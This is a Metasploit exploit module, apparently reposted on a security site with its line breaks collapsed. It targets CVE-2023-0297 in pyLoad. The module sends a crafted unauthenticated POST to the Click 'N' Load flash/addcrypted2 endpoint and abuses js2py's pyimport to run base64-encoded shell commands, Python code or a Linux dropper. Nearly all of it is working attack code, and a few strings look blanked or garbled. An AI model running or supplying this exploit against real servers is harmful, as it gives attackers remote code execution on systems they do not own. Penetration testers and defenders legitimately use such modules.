pyLoad js2py Python Execution

### This module requires Metasploit: Current source: 'rex/stopwatch'class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRankingprepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStagerdef initialize(info = {})super(update_info(info,'Name' => 'pyLoad js2py Python Execution','Description' => %q{pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimportfunctionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST requestto the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load"service runs on port 9666 and can be used remotely without authentication.},'Author' => ['Spencer McIntyre', # metasploit module'bAu' # vulnerability discovery],'References' => [[ 'CVE', '2023-0297' ],[ 'URL', '' ],[ 'URL', '' ],[ 'URL', '' ] # fix commit],'DisclosureDate' => '2023-01-13','License' => MSF_LICENSE,'Platform' => ['unix', 'linux', 'python'],'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_PYTHON],'Privileged' => true,'Targets' => [['Unix Command',{'Platform' => 'unix','Arch' => ARCH_CMD,'Type' => :unix_cmd}],['Linux Dropper',{'Platform' => 'linux','Arch' => [ARCH_X86, ARCH_X64],'Type' => :linux_dropper}],['Python',{'Platform' => 'python','Arch' => ARCH_PYTHON,'Type' => :python_exec}],],'DefaultTarget' => 0,'Notes' => {'Stability' => [CRASH_SAFE],'Reliability' => [REPEATABLE_SESSION],'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}))register_options([Opt::RPORT(9666),'TARGETURI', [true, 'Base path', '/'])])enddef checksleep_time = rand(5..10)_, elapsed_time = Rex::Stopwatch.elapsed_time doexecute_python("import time; time.sleep(#{sleep_time})")endvprint_status("Elapsed time: #{elapsed_time} seconds")unless elapsed_time > sleep_timereturn CheckCode::Safe('Failed to test command injection.')endCheckCode::Appears('Successfully tested command injection.')rescue Msf::Exploit::Failedreturn CheckCode::Safe('Failed to test command injection.')enddef exploitprint_status("Executing #{} for #{datastore['PAYLOAD']}")case target['Type']when :unix_cmdif execute_command(payload.encoded)print_good("Successfully executed command: #{payload.encoded}")endwhen :python_execexecute_javascript("pyimport builtins;pyimport base64;builtins.exec(base64.b64decode("#{Base64.strict_encode64(payload.encoded)}"));")when :linux_dropperexecute_cmdstagerendenddef execute_command(cmd, _opts = {})vprint_status("Executing command: #{cmd}")# use the js2py pyimport command to import the os module to execute a command, use base64 to avoid character issues# using popen instead of system ensures that the request is not blockedjavascript = "pyimport os;pyimport sys;pyimport base64;_=base64.b64decode("#{Base64.strict_encode64(cmd)}");os.popen(sys.version_info[0] < 3?_:_.decode('utf-8'));"execute_javascript(javascript)enddef execute_python(python)# use the js2py pyimport command to import the builtins module to access exec, use base64 to avoid character issuesjavascript = "pyimport builtins;pyimport base64;builtins.exec(base64.b64decode("#{Base64.strict_encode64(python)}"));"execute_javascript(javascript)enddef execute_javascript(javascript)# = send_request_cgi('method' => 'POST','uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'),'vars_post' => {'crypted' => '','jk' => "#{javascript}f=function f2(){};"})# the command will either cause the response to timeout or return a 500return if res.nil?return if res.code == 500 && res.body =~ /Could not decrypt key/fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")endend

Source: 5300203202-BLW/eussi/moc.ytirucesxc

© 版权声明
点赞13 分享
评论 抢沙发